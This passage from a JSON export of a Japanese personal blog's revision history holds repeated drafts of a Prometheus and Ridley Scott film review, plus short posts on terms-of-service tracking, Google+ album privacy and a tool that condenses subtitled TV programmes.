貴族を懐柔する為に苦し紛れに出した、というのが比較的冷静に描かれています。\r\n\r\nこれを纏めると、この映画では「イギリス的なおとぎ話や正義」というものが徹底的に否定、破壊することが主眼に置かれているのではないかと思えてきます。イギリス人よ目を覚ませ、お前達が信じているものはゴミだ、というような具合。\r\n\r\n誰が見ても面白い気持ちのよい娯楽大作だったグラディエイターとは大分違うのではないかと思います。そしてグラディエイターと比較すればグラディエイターの方が面白いと考える人が多いのではないかと思います。イギリス人にしてみればこんなものは不快でしかないし、イギリス人以外にしてみればロビン・フッドやライオンハートやマグナカルタなんて知った話じゃありません。\r\n\r\n### エイリアン、ブレードランナー、松田優作、ソマリア人、イスラム教徒、プロメテウス\r\nエイリアンにおいて真の悪役がロボットと日本人だったことはファンには広く知られる事実です。ブレードランナーにおいても「強力わかもと」の看板にはじまり、「日本人の作ったメシを食うしょぼくれたアメリカ人」が「戦いの末にコカコーラの看板の下で立派な男になりレイチェルと結ばれる」というストーリーの骨子といい、悪役タイレルのいかにも日本人的な外見、価値観といい、日本人への蔑視と恐怖を感じます。\r\n\r\nこうしたリドリーの日本人への蔑視と恐怖はブラック・レインによって完全に解消されたことが伺えます。非欧米人というもっと広げた視点で見てみれば、ブラックホーク・ダウンにおけるソマリア人の描写やキングダム・オブ・ヘヴンにおけるサラーフ・アッ・ディーンの英雄的な描写などから、非常に広範で公平な視点を得られたことが伺えます。\r\n\r\nではエイリアンの続編、プロメテウスにおいては、こうした流れを踏襲し、アジア人とロボットは好ましい、善なる存在として描かれます。こうした善なる存在と相対するスペースジョッキーやエイリアンらはその善悪すら作中では明確に描かれていません。\r\n\r\nまたスペースジョッキーや巨大なフェイスハガーに男性器的な特徴が見られないというのもこの映画における特筆すべき点なのではないかと思います。\r\n\r\nエイリアンとプロメテウスを比較した時にストーリーの整合性という点ではどっちも正直微妙という感じですし、ビジュアルや映像という点では共に時代最高峰の水準と言えるのではないかと思います。結局のところエイリアンとプロメテウスの最大の差は「アジア人やロボットへの恐怖、男性器の力」という明確なテーマがエイリアンには存在し、プロメテウスには存在しないという点なのではないかと思います。\r\n\r\nまあようはシャーリーズ・セロンやガイ・ピアースではキャラが立ってないということです。\r\n\r\n### 正義や悪の不在\r\n物語において、正義と悪が明確に分かれているというのは面白さを保証する重要なポイントなのではないかと思います。現実に正義と悪が明確に分けることは出来ないのだからなどと口で言ったところで正義も悪も存在しない物語を描く為には、正義も悪も超越した絶対的な何か(それは物語のテーマかもしれないし、筆力/画力/演出力かもしれないし、演者や作画者の圧倒的な技量かもしれません)が必要なのではないでしょうか。\r\n\r\nロビン・フッドには正義が不在で、プロメテウスには悪が不在です。そしてこれらの映画はキングダム・オブ・ヘヴンのようにそれを圧倒するテーマ性があるわけでもなく、ブラックホーク・ダウンのように圧倒的な戦闘の迫力があるわけでもない(そしてキングダム・オブ・ヘヴンにせよブラックホーク・ダウンにせよあれらの映画で用いられた手段は二度と使えるものではありません)。\r\n\r\nリドリー・スコットはかつて英米欧的な正義を絶対的に信じていたように思えます。有名な Apple の CM 元ネタからして共産ロシアへの嫌悪が背景にあるわけですし、エイリアンやブレードランナーには日本人への恐怖と蔑視がある。映像に圧倒的に傾き分かりづらい彼の映画には実はそういう背骨があるからこそ世に受け入れられたのではないかと思います。その彼がここ十数年ほどは正義と悪の在処に延々と悩み続けるような映画を作っているというのは監督の人格的な成長を感じるところではあります。\r\n\r\nしかし創作物の面白さというのは創作者の人格的成長と比例するものではありません。むしろ反比例することもある。\r\n\r\nリドリー・スコットが劣化したといえば、確かにそういう面はあるかもしれません。しかし彼は粗悪な自己模倣を繰り返しているのではなく、自己模倣の形を取った自己否定を繰り返しているのではないかと僕は思います。","created_at":"2012-08-26T12:49:42.000Z","updated_at":"2012-08-26T12:49:42.000Z"},{"id":2147,"name":"text/プロメテウスの感想、あるいは何故リドリー・スコットは劣化したのか","body":"%blog%\r\n\r\nプロメテウスの感想はまあいいや。 CM に騙された人は御愁傷様ということで。\r\n\r\n僕はプロメテウスを見たのがそもそも[二ヶ月以上前](http://text.ssig33.com/104)のことなので割ともういろいろ忘れてます、人類もエイリアンもスペースジョッキーに作られてたんや!!みたいのはまあ覚えてるんですが。\r\n\r\nんでもって、\r\n\r\n- ロビン・フッドはグラディエイターの焼き直し\r\n- プロメテウスはエイリアンの焼き直し\r\n- よってリドリー・スコットはもう完全に糞、ブレードランナーも絶対見んわ\r\n\r\nみたいな意見を比較的よく見る気がします。ただそれはちょっと違うんじゃないかなーと思うわけです。\r\n\r\n### グラディエイターとロビン・フッドはどう違うか?\r\nグラディエイターはよくも悪くも剣とサンダル映画の到達点と言えるのではないかと思います。主人公マキシマムの復讐は作中において全く正当なものと扱われます。トラウマを振り翳すグロテスクないかにもリドリー・スコット的人物コモドゥスは、副主人公的な人物ではありますが、あくまで悪役でしかない。コモドゥスは何一つ得るものもなく罵倒の中コロシアムに倒れる。\r\n\r\nグラディエイターは勧善懲悪のエンターテイメント超大作と言えるでしょう。\r\n\r\n翻ってロビン・フッドはどうか。この映画はまず時系列の上で明確にキングダム・オブ・ヘヴンの続編として描かれています。キングダム・オブ・ヘヴンは御存知の通り十字軍の大義を徹底的に批判した映画です。よってその流れを汲む本作では[ライオンハート](http://ja.wikipedia.org/wiki/%E3%83%AA%E3%83%81%E3%83%A3%E3%83%BC%E3%83%891%E4%B8%96_(%E3%82%A4%E3%83%B3%E3%82%B0%E3%83%A9%E3%83%B3%E3%83%89%E7%8E%8B))は徹底した悪役として描かれます。\r\n\r\nライオンハートが悪役ならば、[失地王ジョン](http://ja.wikipedia.org/wiki/%E3%82%B8%E3%83%A7%E3%83%B3_(%E3%82%A4%E3%83%B3%E3%82%B0%E3%83%A9%E3%83%B3%E3%83%89%E7%8E%8B))はどうなのか、[尊厳王フィリップ](http://ja.wikipedia.org/wiki/%E3%83%95%E3%82%A3%E3%83%AA%E3%83%83%E3%83%972%E4%B8%96_(%E3%83%95%E3%83%A9)はどうなのか。これも悪役として描かれています。ジョンはコモドゥス的な柔弱なのろまにすぎません。フィリップは侵略を企む邪悪な策士として描かれる。\r\n\r\nではこれら時代の王が悪役ならば、ロビン・フッドはどうなのか。ロビン・フッドの印象はあまり作中で残るものではなく、時代に抗おうとするも結局は時代に流される森の民というような印象しか残りません。\r\n\r\nそして僕が極めつけだと思ったのがマグナカルタが発布されるシーンで、このシーンで権利を認められるのは史実通り「貴族のみ」ですし、マグナカルタ自体失態を重ねたジョンが貴族を懐柔する為に苦し紛れに出した、というのが比較的冷静に描かれています。\r\n\r\nこれを纏めると、この映画では「イギリス的なおとぎ話や正義」というものが徹底的に否定、破壊することが主眼に置かれているのではないかと思えてきます。イギリス人よ目を覚ませ、お前達が信じているものはゴミだ、というような具合。\r\n\r\n誰が見ても面白い気持ちのよい娯楽大作だったグラディエイターとは大分違うのではないかと思います。そしてグラディエイターと比較すればグラディエイターの方が面白いと考える人が多いのではないかと思います。イギリス人にしてみればこんなものは不快でしかないし、イギリス人以外にしてみればロビン・フッドやライオンハートやマグナカルタなんて知った話じゃありません。\r\n\r\n### エイリアン、ブレードランナー、松田優作、ソマリア人、イスラム教徒、プロメテウス\r\nエイリアンにおいて真の悪役がロボットと日本人だったことはファンには広く知られる事実です。ブレードランナーにおいても「強力わかもと」の看板にはじまり、「日本人の作ったメシを食うしょぼくれたアメリカ人」が「戦いの末にコカコーラの看板の下で立派な男になりレイチェルと結ばれる」というストーリーの骨子といい、悪役タイレルのいかにも日本人的な外見、価値観といい、日本人への蔑視と恐怖を感じます。\r\n\r\nこうしたリドリーの日本人への蔑視と恐怖はブラック・レインによって完全に解消されたことが伺えます。非欧米人というもっと広げた視点で見てみれば、ブラックホーク・ダウンにおけるソマリア人の描写やキングダム・オブ・ヘヴンにおけるサラーフ・アッ・ディーンの英雄的な描写などから、非常に広範で公平な視点を得られたことが伺えます。\r\n\r\nではエイリアンの続編、プロメテウスにおいては、こうした流れを踏襲し、アジア人とロボットは好ましい、善なる存在として描かれます。こうした善なる存在と相対するスペースジョッキーやエイリアンらはその善悪すら作中では明確に描かれていません。\r\n\r\nまたスペースジョッキーや巨大なフェイスハガーに男性器的な特徴が見られないというのもこの映画における特筆すべき点なのではないかと思います。\r\n\r\nエイリアンとプロメテウスを比較した時にストーリーの整合性という点ではどっちも正直微妙という感じですし、ビジュアルや映像という点では共に時代最高峰の水準と言えるのではないかと思います。結局のところエイリアンとプロメテウスの最大の差は「アジア人やロボットへの恐怖、男性器の力」という明確なテーマがエイリアンには存在し、プロメテウスには存在しないという点なのではないかと思います。\r\n\r\nまあようはシャーリーズ・セロンやガイ・ピアースではキャラが立ってないということです。\r\n\r\n### 正義や悪の不在\r\n物語において、正義と悪が明確に分かれているというのは面白さを保証する重要なポイントなのではないかと思います。現実に正義と悪が明確に分けることは出来ないのだからなどと口で言ったところで正義も悪も存在しない物語を描く為には、正義も悪も超越した絶対的な何か(それは物語のテーマかもしれないし、筆力/画力/演出力かもしれないし、演者や作画者の圧倒的な技量かもしれません)が必要なのではないでしょうか。\r\n\r\nロビン・フッドには正義が不在で、プロメテウスには悪が不在です。そしてこれらの映画はキングダム・オブ・ヘヴンのようにそれを圧倒するテーマ性があるわけでもなく、ブラックホーク・ダウンのように圧倒的な戦闘の迫力があるわけでもない(そしてキングダム・オブ・ヘヴンにせよブラックホーク・ダウンにせよあれらの映画で用いられた手段は二度と使えるものではありません)。\r\n\r\nリドリー・スコットはかつて英米欧的な正義を絶対的に信じていたように思えます。有名な Apple の CM 元ネタからして共産ロシアへの嫌悪が背景にあるわけですし、エイリアンやブレードランナーには日本人への恐怖と蔑視がある。映像に圧倒的に傾き分かりづらい彼の映画には実はそういう背骨があるからこそ世に受け入れられたのではないかと思います。その彼がここ十数年ほどは正義と悪の在処に延々と悩み続けるような映画を作っているというのは監督の人格的な成長を感じるところではあります。\r\n\r\nしかし創作物の面白さというのは創作者の人格的成長と比例するものではありません。むしろ反比例することもある。\r\n\r\nリドリー・スコットが劣化したといえば、確かにそういう面はあるかもしれません。しかし彼は粗悪な自己模倣を繰り返しているのではなく、自己模倣の形を取った自己否定を繰り返しているのではないかと僕は思います。","created_at":"2012-08-26T12:53:47.000Z","updated_at":"2012-08-26T12:53:47.000Z"},{"id":2148,"name":"text/プロメテウスの感想、あるいは何故リドリー・スコットは劣化したのか","body":"%blog%\r\n\r\nプロメテウスの感想はまあいいや。 CM に騙された人は御愁傷様ということで。\r\n\r\n僕はプロメテウスを見たのがそもそも[二ヶ月以上前](http://text.ssig33.com/104)のことなので割ともういろいろ忘れてます、人類もエイリアンもスペースジョッキーに作られてたんや!!みたいのはまあ覚えてるんですが。\r\n\r\nんでもって、\r\n\r\n- ロビン・フッドはグラディエイターの焼き直し\r\n- プロメテウスはエイリアンの焼き直し\r\n- よってリドリー・スコットはもう完全に糞、ブレードランナーも絶対見んわ\r\n\r\nみたいな意見を比較的よく見る気がします。ただそれはちょっと違うんじゃないかなーと思うわけです。\r\n\r\n### グラディエイターとロビン・フッドはどう違うか?\r\nグラディエイターはよくも悪くも剣とサンダル映画の到達点と言えるのではないかと思います。主人公マキシマムの復讐は作中において全く正当なものと扱われます。トラウマを振り翳すグロテスクないかにもリドリー・スコット的人物コモドゥスは、副主人公的な人物ではありますが、あくまで悪役でしかない。コモドゥスは何一つ得るものもなく罵倒の中コロシアムに倒れる。\r\n\r\nグラディエイターは勧善懲悪のエンターテイメント超大作と言えるでしょう。\r\n\r\n翻ってロビン・フッドはどうか。この映画はまず時系列の上で明確にキングダム・オブ・ヘヴンの続編として描かれています。キングダム・オブ・ヘヴンは御存知の通り十字軍の大義を徹底的に批判した映画です。よってその流れを汲む本作では[ライオンハート](http://ja.wikipedia.org/wiki/%E3%83%AA%E3%83%81%E3%83%A3%E3%83%BC%E3%83%891%E4%B8%96_(%E3%82%A4%E3%83%B3%E3%82%B0%E3%83%A9%E3%83%B3%E3%83%89%E7%8E%8B))は徹底した悪役として描かれます。\r\n\r\nライオンハートが悪役ならば、[失地王ジョン](http://ja.wikipedia.org/wiki/%E3%82%B8%E3%83%A7%E3%83%B3_(%E3%82%A4%E3%83%B3%E3%82%B0%E3%83%A9%E3%83%B3%E3%83%89%E7%8E%8B)はどうなのか、[尊厳王フィリップ](http://ja.wikipedia.org/wiki/%E3%83%95%E3%82%A3%E3%83%AA%E3%83%83%E3%83%972%E4%B8%96_(%E3%83%95%E3%83%A9)はどうなのか。これも悪役として描かれています。ジョンはコモドゥス的な柔弱なのろまにすぎません。フィリップは侵略を企む邪悪な策士として描かれる。\r\n\r\nではこれら時代の王が悪役ならば、ロビン・フッドはどうなのか。ロビン・フッドの印象はあまり作中で残るものではなく、時代に抗おうとするも結局は時代に流される森の民というような印象しか残りません。\r\n\r\nそして僕が極めつけだと思ったのがマグナカルタが発布されるシーンで、このシーンで権利を認められるのは史実通り「貴族のみ」ですし、マグナカルタ自体失態を重ねたジョンが貴族を懐柔する為に苦し紛れに出した、というのが比較的冷静に描かれています。\r\n\r\nこれを纏めると、この映画では「イギリス的なおとぎ話や正義」というものが徹底的に否定、破壊することが主眼に置かれているのではないかと思えてきます。イギリス人よ目を覚ませ、お前達が信じているものはゴミだ、というような具合。\r\n\r\n誰が見ても面白い気持ちのよい娯楽大作だったグラディエイターとは大分違うのではないかと思います。そしてグラディエイターと比較すればグラディエイターの方が面白いと考える人が多いのではないかと思います。イギリス人にしてみればこんなものは不快でしかないし、イギリス人以外にしてみればロビン・フッドやライオンハートやマグナカルタなんて知った話じゃありません。\r\n\r\n### エイリアン、ブレードランナー、松田優作、ソマリア人、イスラム教徒、プロメテウス\r\nエイリアンにおいて真の悪役がロボットと日本人だったことはファンには広く知られる事実です。ブレードランナーにおいても「強力わかもと」の看板にはじまり、「日本人の作ったメシを食うしょぼくれたアメリカ人」が「戦いの末にコカコーラの看板の下で立派な男になりレイチェルと結ばれる」というストーリーの骨子といい、悪役タイレルのいかにも日本人的な外見、価値観といい、日本人への蔑視と恐怖を感じます。\r\n\r\nこうしたリドリーの日本人への蔑視と恐怖はブラック・レインによって完全に解消されたことが伺えます。非欧米人というもっと広げた視点で見てみれば、ブラックホーク・ダウンにおけるソマリア人の描写やキングダム・オブ・ヘヴンにおけるサラーフ・アッ・ディーンの英雄的な描写などから、非常に広範で公平な視点を得られたことが伺えます。\r\n\r\nではエイリアンの続編、プロメテウスにおいては、こうした流れを踏襲し、アジア人とロボットは好ましい、善なる存在として描かれます。こうした善なる存在と相対するスペースジョッキーやエイリアンらはその善悪すら作中では明確に描かれていません。\r\n\r\nまたスペースジョッキーや巨大なフェイスハガーに男性器的な特徴が見られないというのもこの映画における特筆すべき点なのではないかと思います。\r\n\r\nエイリアンとプロメテウスを比較した時にストーリーの整合性という点ではどっちも正直微妙という感じですし、ビジュアルや映像という点では共に時代最高峰の水準と言えるのではないかと思います。結局のところエイリアンとプロメテウスの最大の差は「アジア人やロボットへの恐怖、男性器の力」という明確なテーマがエイリアンには存在し、プロメテウスには存在しないという点なのではないかと思います。\r\n\r\nまあようはシャーリーズ・セロンやガイ・ピアースではキャラが立ってないということです。\r\n\r\n### 正義や悪の不在\r\n物語において、正義と悪が明確に分かれているというのは面白さを保証する重要なポイントなのではないかと思います。現実に正義と悪が明確に分けることは出来ないのだからなどと口で言ったところで正義も悪も存在しない物語を描く為には、正義も悪も超越した絶対的な何か(それは物語のテーマかもしれないし、筆力/画力/演出力かもしれないし、演者や作画者の圧倒的な技量かもしれません)が必要なのではないでしょうか。\r\n\r\nロビン・フッドには正義が不在で、プロメテウスには悪が不在です。そしてこれらの映画はキングダム・オブ・ヘヴンのようにそれを圧倒するテーマ性があるわけでもなく、ブラックホーク・ダウンのように圧倒的な戦闘の迫力があるわけでもない(そしてキングダム・オブ・ヘヴンにせよブラックホーク・ダウンにせよあれらの映画で用いられた手段は二度と使えるものではありません)。\r\n\r\nリドリー・スコットはかつて英米欧的な正義を絶対的に信じていたように思えます。有名な Apple の CM 元ネタからして共産ロシアへの嫌悪が背景にあるわけですし、エイリアンやブレードランナーには日本人への恐怖と蔑視がある。映像に圧倒的に傾き分かりづらい彼の映画には実はそういう背骨があるからこそ世に受け入れられたのではないかと思います。その彼がここ十数年ほどは正義と悪の在処に延々と悩み続けるような映画を作っているというのは監督の人格的な成長を感じるところではあります。\r\n\r\nしかし創作物の面白さというのは創作者の人格的成長と比例するものではありません。むしろ反比例することもある。\r\n\r\nリドリー・スコットが劣化したといえば、確かにそういう面はあるかもしれません。しかし彼は粗悪な自己模倣を繰り返しているのではなく、自己模倣の形を取った自己否定を繰り返しているのではないかと僕は思います。","created_at":"2012-08-26T13:55:20.000Z","updated_at":"2012-08-26T13:55:20.000Z"},{"id":2149,"name":"text/利用規約の履歴の可視化について","body":"%blog%\r\n\r\n[Tumblr みたいに Github でやれば](https://github.com/tumblr/policy) いいと思う。セキュリティ研究者とサービス提供者の口喧嘩みたいのは全部 issues と pull req でやればいい。","created_at":"2012-09-01T14:17:33.000Z","updated_at":"2012-09-01T14:17:33.000Z"},{"id":2150,"name":"text/プロメテウスの感想、あるいは何故リドリー・スコットは劣化したのか","body":"%blog%\r\n\r\nプロメテウスの感想はまあいいや。 CM に騙された人は御愁傷様ということで。\r\n\r\n僕はプロメテウスを見たのがそもそも[二ヶ月以上前](http://text.ssig33.com/104)のことなので割ともういろいろ忘れてます、人類もエイリアンもスペースジョッキーに作られてたんや!!みたいのはまあ覚えてるんですが。\r\n\r\nんでもって、\r\n\r\n- ロビン・フッドはグラディエイターの焼き直し\r\n- プロメテウスはエイリアンの焼き直し\r\n- よってリドリー・スコットはもう完全に糞、ブレードランナーも絶対見んわ\r\n\r\nみたいな意見を比較的よく見る気がします。ただそれはちょっと違うんじゃないかなーと思うわけです。\r\n\r\n### グラディエイターとロビン・フッドはどう違うか?\r\nグラディエイターはよくも悪くも剣とサンダル映画の到達点と言えるのではないかと思います。主人公マキシマムの復讐は作中において全く正当なものと扱われます。トラウマを振り翳すグロテスクないかにもリドリー・スコット的人物コモドゥスは、副主人公的な人物ではありますが、あくまで悪役でしかない。コモドゥスは何一つ得るものもなく罵倒の中コロシアムに倒れる。\r\n\r\nグラディエイターは勧善懲悪のエンターテイメント超大作と言えるでしょう。\r\n\r\n翻ってロビン・フッドはどうか。この映画はまず時系列の上で明確にキングダム・オブ・ヘヴンの続編として描かれています。キングダム・オブ・ヘヴンは御存知の通り十字軍の大義を徹底的に批判した映画です。よってその流れを汲む本作では[ライオンハート](http://ja.wikipedia.org/wiki/%E3%83%AA%E3%83%81%E3%83%A3%E3%83%BC%E3%83%891%E4%B8%96_(%E3%82%A4%E3%83%B3%E3%82%B0%E3%83%A9%E3%83%B3%E3%83%89%E7%8E%8B)は徹底した悪役として描かれます。\r\n\r\nライオンハートが悪役ならば、[失地王ジョン](http://ja.wikipedia.org/wiki/%E3%82%B8%E3%83%A7%E3%83%B3_(%E3%82%A4%E3%83%B3%E3%82%B0%E3%83%A9%E3%83%B3%E3%83%89%E7%8E%8B)はどうなのか、[尊厳王フィリップ](http://ja.wikipedia.org/wiki/%E3%83%95%E3%82%A3%E3%83%AA%E3%83%83%E3%83%972%E4%B8%96_(%E3%83%95%E3%83%A9)はどうなのか。これも悪役として描かれています。ジョンはコモドゥス的な柔弱なのろまにすぎません。フィリップは侵略を企む邪悪な策士として描かれる。\r\n\r\nではこれら時代の王が悪役ならば、ロビン・フッドはどうなのか。ロビン・フッドの印象はあまり作中で残るものではなく、時代に抗おうとするも結局は時代に流される森の民というような印象しか残りません。\r\n\r\nそして僕が極めつけだと思ったのがマグナカルタが発布されるシーンで、このシーンで権利を認められるのは史実通り「貴族のみ」ですし、マグナカルタ自体失態を重ねたジョンが貴族を懐柔する為に苦し紛れに出した、というのが比較的冷静に描かれています。\r\n\r\nこれを纏めると、この映画では「イギリス的なおとぎ話や正義」というものが徹底的に否定、破壊することが主眼に置かれているのではないかと思えてきます。イギリス人よ目を覚ませ、お前達が信じているものはゴミだ、というような具合。\r\n\r\n誰が見ても面白い気持ちのよい娯楽大作だったグラディエイターとは大分違うのではないかと思います。そしてグラディエイターと比較すればグラディエイターの方が面白いと考える人が多いのではないかと思います。イギリス人にしてみればこんなものは不快でしかないし、イギリス人以外にしてみればロビン・フッドやライオンハートやマグナカルタなんて知った話じゃありません。\r\n\r\n### エイリアン、ブレードランナー、松田優作、ソマリア人、イスラム教徒、プロメテウス\r\nエイリアンにおいて真の悪役がロボットと日本人だったことはファンには広く知られる事実です。ブレードランナーにおいても「強力わかもと」の看板にはじまり、「日本人の作ったメシを食うしょぼくれたアメリカ人」が「戦いの末にコカコーラの看板の下で立派な男になりレイチェルと結ばれる」というストーリーの骨子といい、悪役タイレルのいかにも日本人的な外見、価値観といい、日本人への蔑視と恐怖を感じます。\r\n\r\nこうしたリドリーの日本人への蔑視と恐怖はブラック・レインによって完全に解消されたことが伺えます。非欧米人というもっと広げた視点で見てみれば、ブラックホーク・ダウンにおけるソマリア人の描写やキングダム・オブ・ヘヴンにおけるサラーフ・アッ・ディーンの英雄的な描写などから、非常に広範で公平な視点を得られたことが伺えます。\r\n\r\nではエイリアンの続編、プロメテウスにおいては、こうした流れを踏襲し、アジア人とロボットは好ましい、善なる存在として描かれます。こうした善なる存在と相対するスペースジョッキーやエイリアンらはその善悪すら作中では明確に描かれていません。\r\n\r\nまたスペースジョッキーや巨大なフェイスハガーに男性器的な特徴が見られないというのもこの映画における特筆すべき点なのではないかと思います。\r\n\r\nエイリアンとプロメテウスを比較した時にストーリーの整合性という点ではどっちも正直微妙という感じですし、ビジュアルや映像という点では共に時代最高峰の水準と言えるのではないかと思います。結局のところエイリアンとプロメテウスの最大の差は「アジア人やロボットへの恐怖、男性器の力」という明確なテーマがエイリアンには存在し、プロメテウスには存在しないという点なのではないかと思います。\r\n\r\nまあようはシャーリーズ・セロンやガイ・ピアースではキャラが立ってないということです。\r\n\r\n### 正義や悪の不在\r\n物語において、正義と悪が明確に分かれているというのは面白さを保証する重要なポイントなのではないかと思います。現実に正義と悪が明確に分けることは出来ないのだからなどと口で言ったところで正義も悪も存在しない物語を描く為には、正義も悪も超越した絶対的な何か(それは物語のテーマかもしれないし、筆力/画力/演出力かもしれないし、演者や作画者の圧倒的な技量かもしれません)が必要なのではないでしょうか。\r\n\r\nロビン・フッドには正義が不在で、プロメテウスには悪が不在です。そしてこれらの映画はキングダム・オブ・ヘヴンのようにそれを圧倒するテーマ性があるわけでもなく、ブラックホーク・ダウンのように圧倒的な戦闘の迫力があるわけでもない(そしてキングダム・オブ・ヘヴンにせよブラックホーク・ダウンにせよあれらの映画で用いられた手段は二度と使えるものではありません)。\r\n\r\nリドリー・スコットはかつて英米欧的な正義を絶対的に信じていたように思えます。有名な Apple の CM 元ネタからして共産ロシアへの嫌悪が背景にあるわけですし、エイリアンやブレードランナーには日本人への恐怖と蔑視がある。映像に圧倒的に傾き分かりづらい彼の映画には実はそういう背骨があるからこそ世に受け入れられたのではないかと思います。その彼がここ十数年ほどは正義と悪の在処に延々と悩み続けるような映画を作っているというのは監督の人格的な成長を感じるところではあります。\r\n\r\nしかし創作物の面白さというのは創作者の人格的成長と比例するものではありません。むしろ反比例することもある。\r\n\r\nリドリー・スコットが劣化したといえば、確かにそういう面はあるかもしれません。しかし彼は粗悪な自己模倣を繰り返しているのではなく、自己模倣の形を取った自己否定を繰り返しているのではないかと僕は思います。","created_at":"2012-09-03T13:10:34.000Z","updated_at":"2012-09-03T13:10:34.000Z"},{"id":2151,"name":"text/履歴よりもヤバいと思うこと","body":"%blog%\r\n\r\n最近プライバシー、セキュリティ関連の話では、履歴やトラッキング関連の話題が持ち切りです。しかし僕はもっと危ない事例があると思うのでその話を書きます。\r\n\r\nGoogle+ というアプリケーションがあります。 Google が運営している SNS です。この SNS では Picasa のインフラを使用してアルバムを作成できます。アルバムには公開非公開限定公開などのステータスを設定できます。\r\n\r\nそれはいい。それは他の SNS にも似たような機能がある。\r\n\r\nこのアルバムのやばいところは「写ってる人の顔認識をして、写ってる人に対して非公開アルバムを公開する」という機能があることです。\r\n\r\nこの機能は\r\n\r\n![settings](http://ssig33.com/gyazo/3480d7e51019b74e7d0e3039351bb6c0.png)\r\n\r\nこういう UI でオン/オフが出来る。\r\n\r\nこれの何が問題か。例えを挙げて説明しましょう。 H さんという人がいたとする。 H さんでは分かりづらいので平田さんとする。平田さんという人は誰とでもすぐセックスをしていろんな人が写ったハメ撮りアルバムを作るのが趣味です。そのハメ撮りアルバムを Web 上で整理しようとした平田さんは Picasa にアルバムを作りました。すると Google+ 経由でハメ撮りアルバムに写っている多数の女性にアルバムが公開されてしまった。\r\n\r\nこれはかなり問題です。正直行って CCC やセゾンが履歴を悪用する可能性よりこういう自己が起きる可能性の方が高い。\r\n\r\n規約に書いてあるとか、導入時に注意があったとか、そういう言い訳があっても実装されるべきではない機能があると高木先生は主張していました。非公開のアルバムを特定の条件で公開しちゃう機能こそそういう所に入るんじゃないかなあと思うわけです。\r\n\r\nというのはまあ半分冗談にしても Google+ のプライバシー関連の設定は分かりづらすぎる。 Facebook もそうだ。結局のところプライバシーを保護したかったらこういうもんを使わない方がいいというのが現状で、そういう現状なのは悲しいことだなあと思う次第です。","created_at":"2012-09-04T04:22:40.000Z","updated_at":"2012-09-04T04:22:40.000Z"},{"id":2152,"name":"text/履歴よりもヤバいと思うこと","body":"%blog%\r\n\r\n最近プライバシー、セキュリティ関連の話では、履歴やトラッキング関連の話題が持ち切りです。しかし僕はもっと危ない事例があると思うのでその話を書きます。\r\n\r\nGoogle+ というアプリケーションがあります。 Google が運営している SNS です。この SNS では Picasa のインフラを使用してアルバムを作成できます。アルバムには公開非公開限定公開などのステータスを設定できます。\r\n\r\nそれはいい。それは他の SNS にも似たような機能がある。\r\n\r\nこのアルバムのやばいところは「写ってる人の顔認識をして、写ってる人に対して非公開アルバムを公開する」という機能があることです。\r\n\r\nこの機能は\r\n\r\n![settings](http://ssig33.com/gyazo/3480d7e51019b74e7d0e3039351bb6c0.png)\r\n\r\nこういう UI でオン/オフが出来る。\r\n\r\nこれの何が問題か。例えを挙げて説明しましょう。 H さんという人がいたとする。 H さんでは分かりづらいので平田さんとする。平田さんという人は誰とでもすぐセックスをしていろんな人が写ったハメ撮りアルバムを作るのが趣味です。そのハメ撮りアルバムを Web 上で整理しようとした平田さんは Picasa にアルバムを作りました。すると Google+ 経由でハメ撮りアルバムに写っている多数の女性にアルバムが公開されてしまった。\r\n\r\nこれはかなり問題です。正直言って CCC やセゾンが履歴を悪用する可能性よりこういう事故が起きる可能性の方が遥かに高いと思う。\r\n\r\n規約に書いてあるとか、導入時に注意があったとか、そういう言い訳があっても実装されるべきではない機能があると高木先生は主張していました。非公開のアルバムを特定の条件で公開しちゃう機能こそそういう所に入るんじゃないかなあと思うわけです。\r\n\r\nというのはまあ半分冗談にしても Google+ のプライバシー関連の設定は分かりづらすぎる。 Facebook もそうだ。結局のところプライバシーを保護したかったらこういうもんを使わない方がいいというのが現状で、そういう現状なのは悲しいことだなあと思う次第です。","created_at":"2012-09-04T04:28:20.000Z","updated_at":"2012-09-04T04:28:20.000Z"},{"id":2153,"name":"text/テレビ番組をノベルゲーム風にするものを作った","body":"%blog%\r\n\r\nと言ってもなんのことか分からないと思うので現物を見てもらうのがいいかと思う。動画 H.264 な MP4 なので Firefox (と多分 Opera)では見られないと思います。\r\n\r\n\u003cvideo src='http://ssig33.com/gyazo/5479dd945f283046ad8df2b0cf6dd238.mp4' controls\u003e\r\n\u003cscript\u003ev = document.querySelector('video');v.addEventListenr('canplay', function(e){e.target.play()}); v.load()\u003c/script\u003e\r\n\r\n字幕情報から諸々組み立てているので字幕がある番組じゃないと駄目。あとブラウザで動いてます。\r\n\r\n番組の質にもよるが、 1 時間ぐらいの番組を 5 分とかで内容が把握できるのでかなり便利だと思う。特にドキュメンタリーや教育番組では有効。","created_at":"2012-09-04T13:17:10.000Z","updated_at":"2012-09-04T13:17:10.000Z"},{"id":2154,"name":"text/テレビ番組をノベルゲーム風にするものを作った","body":"%blog%\r\n\r\nと言ってもなんのことか分からないと思うので現物を見てもらうのがいいかと思う。動画 H.264 な MP4 なので Firefox (と多分 Opera)では見られないと思います。\r\n\r\n\u003cvideo src='http://ssig33.com/gyazo/5479dd945f283046ad8df2b0cf6dd238.mp4' controls autoplay\u003e\r\n\r\n字幕情報から諸々組み立てているので字幕がある番組じゃないと駄目。あとブラウザで動いてます。\r\n\r\n番組の質にもよるが、 1 時間ぐらいの番組を 5 分とかで内容が把握できるのでかなり便利だと思う。特にドキュメンタリーや教育番組では有効。","created_at":"2012-09-04T13:18:10.000Z","updated_at":"2012-09-04T13:18:10.000Z"},{"id":2155,"name":"text/テレビ番組をノベルゲーム風にするものを作った","body":"%blog%\r\n\r\nと言ってもなんのことか分からないと思うので現物を見てもらうのがいいかと思う。動画 H.264 な MP4 なので Firefox (と多分 Opera)では見られないと思います。\r\n\r\n\u003cvideo src='http://ssig33.com/gyazo/5479dd945f283046ad8df2b0cf6dd238.mp4' controls\u003e\r\n\r\n字幕情報から諸々組み立てているので字幕がある番組じゃないと駄目。あとブラウザで動いてます。\r\n\r\n番組の質にもよるが、 1 時間ぐらいの番組を 5 分とかで内容が把握できるのでかなり便利だと思う。特にドキュメンタリーや教育番組では有効。","created_at":"2012-09-04T13:18:49.000Z","updated_at":"2012-09-04T13:18:49.000Z"},{"id":2156,"name":"text/テレビ番組をノベルゲーム風にするものを作った","body":"%blog%\r\n\r\nと言ってもなんのことか分からないと思うので現物を見てもらうのがいいかと思う。動画 H.264 な MP4 なので Firefox (と多分 Opera)では見られないと思います。\r\n\r\n\u003cvideo src='http://ssig33.com/gyazo/5479dd945f283046ad8df2b0cf6dd238.mp4' 